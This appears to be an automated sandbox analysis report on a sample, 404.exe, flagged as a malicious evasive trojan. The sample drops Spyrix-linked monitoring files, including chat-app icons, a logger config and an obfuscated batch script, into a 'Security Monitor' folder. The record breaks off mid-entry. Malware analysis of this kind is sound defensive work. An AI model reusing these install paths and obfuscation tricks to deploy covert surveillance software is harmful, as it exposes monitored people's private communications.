Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	86
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	404.exe
Detection:	MAL
Classification:	mal54.troj.evad.winEXE@178/1067@16/9
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 172.217.16.195, 216.58.206.46, 108.177.15.84, 34.104.35.123, 216.58.206.72, 172.217.16.136, 142.250.186.106, 142.250.185.74, 172.217.16.202, 142.250.185.106, 216.58.212.138, 142.250.186.42, 142.250.185.138, 172.217.18.10, 216.58.206.74, 142.250.185.170, 142.250.186.74, 142.250.185.202, 142.250.186.138, 142.250.185.234, 142.250.184.234, 142.250.74.202
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, ocsp.digicert.com, accounts.google.com, edgedl.me.gvt1.com, content-autofill.googleapis.com, slscr.update.microsoft.com, www.googletagmanager.com, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target qrl.exe, PID 4424 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:10:02	API Interceptor	144x Sleep call for process: powershell.exe modified
00:10:19	API Interceptor	14x Sleep call for process: 404.exe modified
00:10:35	API Interceptor	2x Sleep call for process: WMIC.exe modified
00:11:30	API Interceptor	1x Sleep call for process: spkl.exe modified

LLM Input / Output

Input	Output
URL: https://dashboard.spyrix.com/login Model: jbxai	{ "brand":[], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Login", "text_input_field_labels":["Email", "Password"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://dashboard.spyrix.com/login Model: jbxai	{ "phishing_score":null, "brands":"unknown", "legit_domain":null, "classification":null, "reasons":null, "brand_matches":[], "url_match":false}

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	457728
Entropy (8bit):	6.59955980299879
Encrypted:	false
SSDEEP:	12288:oYP3U+DowYPZOobyfwOgM2evuRTQ8r5e:3knwGZO4ZBevgTQ
MD5:	5E952525D9379E001F1714DE9E87B50D
SHA1:	45A1F15E62D3BEBF80BFDE69B992448DA09369FA
SHA-256:	81DE9F4EE9164358163C7F2200522E5C518D649ED6868CC6F27DB2B831F42DA4
SHA-512:	FCCEFD5CEFA59AAE1CCF1DF61907720BFB753AA1A6094DCB9225BA0110172103980C77708B9BB36F9D329B890ECC3F279AEE325A780308E9AC127EDC99CF8D0D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 3%, Browse
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..................................... ....@..............................................................................(...0...L.......................e......................................................\............................text............................... ..`.itext.............................. ..`.data...T.... ......................@....bss.....5...@...........................idata...(.........................@....edata...............H..............@..@.reloc...e.......f...J..............@..B.rsrc....L...0...L..................@..@....................................@..@........................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\cfg.cmd (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5329
Entropy (8bit):	5.379707763753434
Encrypted:	false
SSDEEP:	96:nsPCuKyBy4PRWZSx84GmqUIa+zHBZclQmmUc6EYQZCh1t64R8vVIa2akG2T:xuVr5WExXG6UvUmUbrQIvtO9INakGc
MD5:	CD2AC50D3746B1A9663C4D2BF7EA4D55
SHA1:	909F5CFEB390B67FEFC6CD1786760FEBDBB2B875
SHA-256:	F9C158AEFD53582E68F7417E6326620AE4FDE859EE6D02B263EEA838A2C6F136
SHA-512:	E47073C412A92325DA84516358B43CC855B67FA6E44D092005143B35EA021B72BF8607B619F179706E3B66332A24EEB3910E1AF69076D29527C60DFF9EFF8A5F
Malicious:	false
Reputation:	unknown
Preview:	rem kezd4t79qxno0lbfeql5y0mu8g6iesyetjcseogfwt472kiwiubb15brfmh2wac96vhv0vnd2020j6zevgvnwwpffvshcpj0zglw700radviz4u8q9aq6k9n..@echo off..rem 000stm4gugwjkgbh428m90yr2..rem ce1k7rdsfo832vwc3jaouwf6whuhamo859077bf249yhqvmg1kd492xy1n0laxcjqawev0lgwfar618zidzyfwk96n90dum9le1hlxjvxajsku4sr3uiuy0..rem dsawc47q7b7rg3lyyyjwoquee0ll0ap5r0099bt1715bh4jezmssc1nm4xfnyr40tu10yayd38i6wla70zmf5096xpoyd018bdbpms0ennjdswzri1jyzqel..setlocal enabledelayedexpansion..rem 2e6crit365pi9pdx3kzzixkz0bxvti57alc..rem tbd2b125fv5tqy0wwb0v1woi0mnrpd6l8..rem 6g5up6bf14gd8ckrvtcxni6x4495olhkrlg706b9nszf6urghw484qcu0hf29s7vhqna1o5uloku3qzxd8591ivyo0idphj1jw9y22y0fjgsjtjodo855g0r..set iniFile=%ProgramData%\%prg_id%\temp\logger.ini..rem rrje26b6rkhrhihlujks437km32ntyjjtcvi63..rem 5qn9uxfpef8xq5039f88vk9umpfl9dj9r7apxc..rem ioq4mok81bx2zs3knaunm2b4mcsjotkyq0rwnmtauk20e7hftlruhy0eoxwbq17088ic70epr0ikd4ns0o03tu98y18pwfn2vxzg4rpi4bn3em187jjj6y1o..set getValue=0..rem 0h5hrq1blurny0ai0ueen0k8mw0cgjlrjajonp24yq2pewj7tdwn9c2e

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.084962500721156
Encrypted:	false
SSDEEP:	3:sLvovFN/tQZn:EItK
MD5:	70C758B45D366FDD5BA4F0D0D1088B94
SHA1:	CD0CBB3DF6F011B41B24F8E1CA805469F234F044
SHA-256:	DCF52739862C4FBF4B4C04F470F9F62B46E308E9E5FA87CDFAD1DC66E753DF16
SHA-512:	5AF2BFE2166E3578D3BADA9738CD0C769B2F5A2B9E84B812C7193E3A88163B32B94EB36DE83347A8E7DC75079608102C0CF05293E647132C0F633F67AAECC446
Malicious:	false
Reputation:	unknown
Preview:	timeout 6..dashboard.url

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.url (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"https://dashboard.spyrix.com">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	54
Entropy (8bit):	4.722027548259444
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjzPK/tWwMdyTHn:HRYFVmjzPAt0dyTH
MD5:	D1CA0FE113AE79394ECFA5225B06D03A
SHA1:	2EFEB00BC64706B390FA188776A423DD871AE842
SHA-256:	A9A52C2A16DAB18ED9E869CAE2F486327040572461E05FB8F774DC543A82CD45
SHA-512:	BFDE031A1C39770EEAF27F0874B01C99BCA6D3EAB2D55B9FABFD28CAD2EF6D56387510548DFCA3F575D7341B16B05961C00083E19AB33A07A84343B257CB385A
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="https://dashboard.spyrix.com"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Discord.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.954587575587282
Encrypted:	false
SSDEEP:	24:mcyV2d56miiGbKZFG8cZWvl24pZYEYmFMQ05lOo4TTTTTTTTTT3:mcJDbGua8cZOlBUEYA906o4TTTTTTTTX
MD5:	A6AF58DFDF7BCB6AE474DC731AEB0819
SHA1:	353D993129D8C0060BDAFF6B32DACCD1D91F37DE
SHA-256:	62B935FEE25DC4480962834A3AC9B21E285C75FA25EB8BF5288BE4EAEEA8F118
SHA-512:	21259178D3D551E232C63B89DA9F2613F0CB0FF6D4D33A150DDAF6DED6795E277845359ADF228BE2741639838F78DFA56554E0D26A77091BC09361ED18611330
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ....................................................................~e.....r=/..G8.............................................t@3..........bL..fOb.............lZx.ta..s`..t`..o\..kY..lY..lX..mX.\L>.eP..pX..iRX.........r`D.m..o..m..\|g..yg..yg..zf..zd..u_..oZ..v_..rZ..jTZ.........}j\.r...j...m..v..q`..o]..o\..q]..p..v`..pY..t]..lV[..........p[.q....................................rZ..q\[.........s[.u..........................................r[..r][.........x[.w..............se..........q`..............q[..r^[.........}[.x.......................................mX..wc[..........[.~........................................t^..yd[..........[........................................k..}g..ua[..........[.............................i..~i..uaZ..........Z................v..r..u..o..m..n..~i..vcY..........$......................y..w..s..n..k.zg$.............&..Z..W..X..X..X.~X.zX.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Discord.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	865
Entropy (8bit):	7.700995430791155
Encrypted:	false
SSDEEP:	24:gYFXmor3S32jSx6mJYuknx/vNdapyefgQP71YZbHYG:bXm3SwV12x/vPapyCf710bHYG
MD5:	781F31C7BDF09937698ABFE875672A7B
SHA1:	9ED7E05BAB393E6D09DF2C6B8970805F088586B4
SHA-256:	A48944491AD937CA359AE2F8C57070CF69DC58B6F363F8E66B8C2EBE9F8DFB9A
SHA-512:	B7810E56C63EDB096670841C28A70DF441F82741D16439D2CDA39AA3BBB65711379383FE089887DCA8005168F0B7C5B351CF8552DCD6DD4C4FC47D10D9261690
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...(IDATx..ilLQ...}....m..%..........!.A.5>..H?...^..PK..,.KJ\|..B,...Z.h......3..w.u..WN&..{....Y......D.x`..l..a...!D2.(..I..z.z......@).(.K. .K.m..)R'>H..R..7.mX.....XZY...b\...'....-[.p@x.......#.o........G..).4.Pm.p..I......w..fL..d<..t.9.PR.P....fK...4...3.... ..$v.I..hk79...DL..5...(..@..i..p}f/....6..U.c!iq.......9..Q ...(....H.4r..y>.....(X.....Q...b).'....b..a.c.'..E{..L...q.>~L.6....k.a....0.kM0'.......Z.Q..."Z..KA..{..A#:.7.6(..\|...U..`e.......l\>...../:xYu.........rWW..jA..#..O..!#..ia.8...c...Y..!........eSR..%wtBCF...>kb........f..:.0......M\.m.o..".Qco...E...?\|:i.....U._..L.."Q....q.`ILU...)\80=.X..fJ8..M...(..p.6......'...x......8F......8...R.O.O.RZ(...F.wK@..S.....?k...\a..._>4.<...e#'l .7.53.....Y..jk..8.....3.dK..1.....B..p.9......-.-F.[...2C.n.~../V...$iB....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Facebook Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5511716867819327
Encrypted:	false
SSDEEP:	24:BifyRHHHHHHHHHHHlKDAYHQhY4O4ZYwg7iTT5:wfyHHHHHHHHHHHgDAMQhY4O4ZYwg7iT1
MD5:	F311592151DC7F196CDBC8AF6D426B28
SHA1:	159C11940E4F380F62D56AD12745600EDBEF1E15
SHA-256:	03290429CE68AFD7507C177C9446EFBCC47CFD040DECA70105988D0057919317
SHA-512:	A3259406480C89E73B408DBFDA00B8CBE5F2B168A1C46F6FE73A228B167CDC532FFBB315BD027B130634B8A248F488BD2ADA22CA5A45DF2AD3E728D3FA5DA832
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................l.(.l...l...m.?.m.`.m.\|.k.y.k.].o...............................r.A.q...q...q...q...q...q...q...q...q...o.7.....................u...u...u...u...u...u...u...u...u...u...u...u.o.............y.a.z...z...z...z...z...z...z...z...z...z...z...z...z.^.........~...~...~...~...~...~...~...~...~...~...~...~...~...~.........\|..........m.......................3........................\|..............x.......9.......'.............................................................................8...................................8.............................................................................'.......9.......x.......................................8.......................m................H...........................................................G..........................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Facebook Messenger.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	524
Entropy (8bit):	7.51499904676362
Encrypted:	false
SSDEEP:	12:6v/725PQZeziVpf6wu0rWQ6Rfcho1S01oS77Qtytds:zJQYgB6wnrWQ6ih0WSQtyns
MD5:	6A3D971DD10943973AD7CFF8776678EE
SHA1:	1FC9EA38435DBA93A64B9E48C7A3CCDED3D92333
SHA-256:	EDB59D1E30DEACB83DCCB9CA2D7F83FC52066CAFC7A8E0A633B9B0DD01CDA360
SHA-512:	B5C8C60578504EDD4EDDF7C5A9CC17BA3D04773CA200D5A8189D22C06BAA9081382F6D3FE076771F385AF7DAC51196AC4BFEFF1852A5E16BBF9AE6D1599FFE0E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..OHTQ...w.p.".DP........$Z$.ZD......FB.A`.`.%r.b.....E.T.....I.h!R..B(*2....o.hP3..y....q.w.u....xH.S^..}'.B......q..nY1K\Q....qW.......D.se......67......,...r.8.[......L..-....n...[....3..K.....N.q.q.f.n.$....k`..DGaf....Z3..<0...u..w%.A.^...Y....p.-.U.t...p...s.E).....:.[T.a.&(..'S......B..B.%u...T=....w..{....{..T........t..^...U.u....pbm.l...G....8.8c..EgT............R..G.w..-t...,......a.....]......t...]2.!....=..7...W.......X.......7.#.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Line.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	2.89668669623498
Encrypted:	false
SSDEEP:	12:dDWdAyhFGViosMZNrBK5aTeiVIrSXgXdaguWUl:hxyTGVihMPBK52edrSXgtbUl
MD5:	2102DF54739C5E5FFEDDA31CE18A430E
SHA1:	B62D93ED6661FE4E0080D7CD575D0F81E8640D9B
SHA-256:	2DFDE998FEAC91E72BFDCDDF174000539C525233D4E3EA4744BD08EF70E6C9C0
SHA-512:	654F18D0C0F4309A8C559E4E0CB2D4497AABE9D9D5BDC51EA100CAF0455FC26702E0AA8390B3D7113CD7F752391B9A3283491B5A1623E0060F302EF2A816B7ED
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ............................"...........................................................".......................................................................................................................................................................................................................@.@.............9.9.............................................................................................................................................................................................................................................................................................................................................................................................................................H.H.........................................I.I.....................^.^.................................^.^.......................................................!.!...........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Line.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.403940932243279
Encrypted:	false
SSDEEP:	12:6v/7H2DBCOIXU00QhP+CCTV44lVCcK8ajSR64+eg:C2MXURCCTCXcK8286Heg
MD5:	49CBAB461388899937D45CE5F40FEA6F
SHA1:	4333CFB198B2F8078D38159AE6F37CF2056AC6A9
SHA-256:	30DBAE48834681F6F8E6A6867B5A83582DFBCA8E61C51C8A189687055F1A9042
SHA-512:	5A0C295DC41860B4F650D82B43EFBB4F7369A7DCC6844F8837DA8708F531A4D4C17749152536219492ABAA5667FFC63C0547AB2BD257068CF9BCDD9C47492595
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..?K.P...3..?C.qi.T.E...,Up..kgg...b.......A.....8..."h...DDA.1...XJmKz..<...wo.... ....M..V.....o.2Q..e.#<`....E..l.....Y......m#..4...Fb2..D..Q7).K...b.i.....y...9`..^._Gv...a..T.j......1..D[.[...!}`.%....5........k...Y.....!z.u....\2!2....1 .H-.P\I)!......2B.!.[......`+....].F.1....F.I...(/..>}?.....v....w.C6C.H...E..w.v.S.q....?I...a......l<#~.....U....U.^.Q.( ~.G.thG/.....,R.).U.K?9.u........g...L_..wt../.....2.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Mail Agent.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.20340524330819
Encrypted:	false
SSDEEP:	12:F5e2nwbQh05puMPaz5NV9/COvwqsvuKMBwnwfqHtJZcaHqtMbHgGomu/HAmlMscR:aCupu0az5l5R4t7bHqkAN/H7WrefjU8W
MD5:	6974D5655CF050D09AEDEFB0A870B09C
SHA1:	2C87D6EFB277163490FFF31C594A5127E8D0B509
SHA-256:	A5761AE112ECB0B8CA16EDD77F9B112D983D7F8B0C229A8099E1A35B2E4F6993
SHA-512:	AA3DBE81C2BFDBDBF4EF81DE63685BEC3743762254476F278E1FC6956A39910E2C4A1E83E491AB579B107FC0496E134AB946800D7D2CA367AE4AF2E109B6741C
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................C.<&D.=SC.?AU.U.....J.@.E.>FC.=XE.=?U.U.........................I.B#B.;.B.;.B.<.C.;.C.;.B.;.B.;.B.;.C.;.C.;.U.U.....................F.>>B.;.B.;.].W................k.f.B.;.C.<.H.A'................F.>BB.;.................~....l.g.t.o.S.M.C.<.U.U.........f.f.C.<..}........a.\.........}............L.E.C.;.........D.;VB.;........n.i.............................C.;.U.U.....B.<.].W....._.Y.....~.z.B.;.B.;.J.D...............B.;.E.=?....C.<.j.e.....E.>.....P.I.B.;.B.;.B.;.......x.s.....B.;.C.=X....C.<.g.b.....O.H.....u.p.B.;.B.;.D.=...............B.;.E.>J....D.<\|D.>..................\|.w..................B.;.I.@.....E.>%C.;........T.N...............}.x........e._.B.;.............B.<{G.A.........z.u.D.>.B.;.X.R...........C.;.G.@$............U.U.B.<.G.@..........................}.C.;.B.=d....................U.U.B.<{C.;.F.?.l.f.t.o.c.].B.;.B.;.E.=;................................G.@$D.<\|C.<.C.<.C.;.D.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Mail Agent.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.7197016545374275
Encrypted:	false
SSDEEP:	12:6v/7Mx+Nre92kjEfcc8YhUaUuYE67bCIUMn+VnMUHAqOIjaDD/yJgQGToLYZFN:Z+LqERhUO67bCIZfmAajkj3tyYjN
MD5:	D9F77B09484FECF86DAB1E27B61481C3
SHA1:	D514C22AC2A1AC4B0826E38C48BABD9CBB077F9F
SHA-256:	CBFBDC4F27D2DE65E5F38B4233C967F1781449DE939BDF7451F2548511CF8F95
SHA-512:	606E0E9800296568C06F6015BB6DF091D5B75E516056032FB28CA1508E67AA0E8BBAC978981CA9FF492F54A7CFE02DF233042442F707588E6E8CFD82C7F8B93C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..kHSa......t.4..kj...I0)l.y...ZF.Fe.D.%K.K.....FVH..A.Y..Z..E. .".L..sz.,.\|.}.....wx...O....>... \|.x(x.;!..;S..n..' ...o;.y.TJ!.E)"!.xbh...^..V......,....vG....%.E...7......o]v.l.a..1<_jN24L.hL..,..5q..a.q.V..C.p...=fcup..B.........X^..t......Z.lSX.le@.J..\..kh.B...a.].}(eJl....=e.~..,:C....Sw1..//...W. cd(.[...g0<>....hT.8n.C.<D.i..}`.1...=E.9s~.)u-2............c.m..G.pN..(...:.!a$Y?.W...rN,.A.9...u.X.0292.....Q'.7..T".M...\|...#....".2z'.i.i...,X....+TT7..S..k+..D'...R..q....p....n.`..\..btr..T......D.M...Op.vr,H.T..-.../Fm..T..{....*XG.X...o..qOt`GD..}~....0..Ytm.S{.5.Hvs.mE..yn...=.uC.N....;..O:.....i..R......R.Ix......../..o...x>........7jZ..61.1....6..#..<H. .x...."..H..r...iY.S".Ob.......:cf..L,.9NI...Hgu.........4..`......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5511716867819327
Encrypted:	false
SSDEEP:	24:BifyRHHHHHHHHHHHlKDAYHQhY4O4ZYwg7iTT5:wfyHHHHHHHHHHHgDAMQhY4O4ZYwg7iT1
MD5:	F311592151DC7F196CDBC8AF6D426B28
SHA1:	159C11940E4F380F62D56AD12745600EDBEF1E15
SHA-256:	03290429CE68AFD7507C177C9446EFBCC47CFD040DECA70105988D0057919317
SHA-512:	A3259406480C89E73B408DBFDA00B8CBE5F2B168A1C46F6FE73A228B167CDC532FFBB315BD027B130634B8A248F488BD2ADA22CA5A45DF2AD3E728D3FA5DA832
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................l.(.l...l...m.?.m.`.m.\|.k.y.k.].o...............................r.A.q...q...q...q...q...q...q...q...q...o.7.....................u...u...u...u...u...u...u...u...u...u...u...u.o.............y.a.z...z...z...z...z...z...z...z...z...z...z...z...z.^.........~...~...~...~...~...~...~...~...~...~...~...~...~...~.........\|..........m.......................3........................\|..............x.......9.......'.............................................................................8...................................8.............................................................................'.......9.......x.......................................8.......................m................H...........................................................G..........................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Messenger.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	524
Entropy (8bit):	7.51499904676362
Encrypted:	false
SSDEEP:	12:6v/725PQZeziVpf6wu0rWQ6Rfcho1S01oS77Qtytds:zJQYgB6wnrWQ6ih0WSQtyns
MD5:	6A3D971DD10943973AD7CFF8776678EE
SHA1:	1FC9EA38435DBA93A64B9E48C7A3CCDED3D92333
SHA-256:	EDB59D1E30DEACB83DCCB9CA2D7F83FC52066CAFC7A8E0A633B9B0DD01CDA360
SHA-512:	B5C8C60578504EDD4EDDF7C5A9CC17BA3D04773CA200D5A8189D22C06BAA9081382F6D3FE076771F385AF7DAC51196AC4BFEFF1852A5E16BBF9AE6D1599FFE0E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..OHTQ...w.p.".DP........$Z$.ZD......FB.A`.`.%r.b.....E.T.....I.h!R..B(*2....o.hP3..y....q.w.u....xH.S^..}'.B......q..nY1K\Q....qW.......D.se......67......,...r.8.[......L..-....n...[....3..K.....N.q.q.f.n.$....k`..DGaf....Z3..<0...u..w%.A.^...Y....p.-.U.t...p...s.E).....:.[T.a.&(..'S......B..B.%u...T=....w..{....{..T........t..^...U.u....pbm.l...G....8.8c..EgT............R..G.w..-t...,......a.....]......t...]2.!....=..7...W.......X.......7.#.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Microsoft Teams.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.8378245167837792
Encrypted:	false
SSDEEP:	6:ttl7t4rfiKKc1XgZUZUZUZUZUZUJXm5ZUZUZUZUZUZUZUZUzC25ZUZUZUyUZUZUg:vlJcP+mpC2KC2KC2KC2KC2Kno9gH9Pcn
MD5:	9647EA4E877FE5A0A08E611D46767EBD
SHA1:	B64CB43619FF5F96F26C0FEFD03CB96373E1E0D9
SHA-256:	DB32B69F2877535C81DFD48ACCA5251BCEED320C1E8A03135F8C80C11D6F248A
SHA-512:	ED6CDB303CBEF7378C1EE1EBF22F9EACF59D354F3157766E486F2A8CEB5E30F11B11F0D289B254F83197F07208C7DF3A14E9EBA3680E38D6CCE6D4AD791F3DCE
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..............................................{ .{..{..{..{..{..{ .................................{ .{..{..{..{..{..{..{..{ ............................i:7.i:7.i:7.i:7.i:7.i:7.._Y..{..zr..YP..YP......SK.SK..SK..SK..SK..SK..SK..SK..SK..QJ.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK..SK..SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..x..YP..YP..YP.SK..SK..SK......................SK..SK.i:7..{..................SK..SK..SK..SK..SK..SK..SK..SK..SK..SK.q?;..{..YP..YP..YP..YP..SK.SK..SK..SK..SK..SK..SK..SK..SK..VN..{..{..YP..YP..YP..YP..........................{..{..{..{..{..{..^U..YP..YP..YP..........................{..{..{..{..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Microsoft Teams.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	306
Entropy (8bit):	6.791105413587409
Encrypted:	false
SSDEEP:	6:6v/lhPt+HkIXaZ6t6p1+yMqZZQZX08sIfahdKry9Ral0GykkCmgpF6PF2fp:6v/7PIXaZuC+y5Qe8T+NA0lk9pw2x
MD5:	B61B5003FBBE118F371C4AD42F4EF520
SHA1:	CA09B93D1185476243A5A6C91F72DE328E291F1B
SHA-256:	A5535A95335D1898EE2496AA99725F4BD62B229A1AF776F6B237CAA553AF539F
SHA-512:	D3CF0B4E5B2CEA3ECF3C88460B8D566F01C0F50F597D1ABFD0D5D42B0EBB749435BF89976BCCE1B89C19E22D1EBE574FA2DA93DA7D568B0B8D8CBAB0C7281191
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.cd...._....@...:........1.1`?.f.8p...@...o.g..l.n?b........{..i..<....AWW.....E.d..."..7[..\.0..l..5...}B...7...p.l..Dl.......@....0........p..l.z8.W...\|..LH...fx.r.6.&`$es.LP..@.WRudPRqd....{................:..U.Dd.LL..^..d.!.h.....A.....n>7......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Mozilla Thunderbird.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.949963945175186
Encrypted:	false
SSDEEP:	24:PE14x6qLv19cI/PRw1ZoPh+tV/HFm+TIe0WmY:s1ALtDtPh+tVvz0WB
